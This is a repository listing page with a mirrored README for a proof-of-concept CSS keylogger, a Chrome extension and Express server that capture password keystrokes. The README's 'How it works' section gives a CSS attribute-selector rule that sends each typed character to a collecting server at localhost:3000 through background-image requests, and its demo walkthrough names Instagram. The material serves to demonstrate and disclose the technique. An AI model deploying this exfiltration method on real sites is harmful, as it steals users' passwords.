maxchehab/CSS-Keylogging
maxchehab/CSS-Keylogging has 3,233 GitHub stars and 418 forks. GitHot measured -2 stars in 24 hours. Last checked 2026-11-06 18:52 UTC. Last push 2018-02-20.
Chrome extension and Express server that exploits keylogging abilities of CSS.
Measured star growth
- in 24h
- -2
- in 7 days
- Update delayed
- in 15 days
- Update delayed
- in 1 month
- Update delayed
Net star changes over overlapping periods, not daily totals. Missing measurements are left blank. Stars measure attention, not software quality.
README.md
OriginalCSS Keylogger
Chrome extension and Express server that exploits keylogging abilities of CSS.
To use
Setup Chrome extension
- Download repository
git clone https://github.com/maxchehab/CSS-Keylogging - Visit
chrome://extensionsin your browser (or open up the Chrome menu by clicking the icon to the far right of the Omnibox: The menu's icon is three horizontal bars. and select Extensions under the More Tools menu to get to the same place). - Ensure that the Developer mode checkbox in the top right-hand corner is checked.
- Click
Load unpacked extension…to pop up a file-selection dialog. - Select the
css-keylogger-extensionin the directory which you downloaded this repository.
Setup Express server
yarnyarn start
Haxking l33t passw0rds
- Open a website that uses a controlled component framework such as React. https://instagram.com.
- Press the extension
Con the top right of any webpage. - Type your password.
- Your password should be captured by the express server.
How it works
This attack is really simple. Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a background-image.
For example, the following css will select all input's with a type that equals password and a value that ends with a.
It will then try to load an image from http://localhost:3000/a.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
Using a simple script one can create a css file that will send a custom request for every ASCII character.
Explore related projects
codecrafters-io/build-your-own-x
Master programming by recreating your favorite technologies from scratch.
560,703 starspublic-apis/public-apis
A collective list of free APIs
496,945 starsmorluto/rea
Reverse engineer anything with agents, from app behavior down to native binaries.
440,231 starsopenclaw/openclaw
The AI that really does things. Any OS. Any Platform. The lobster way. 🦞
394,118 stars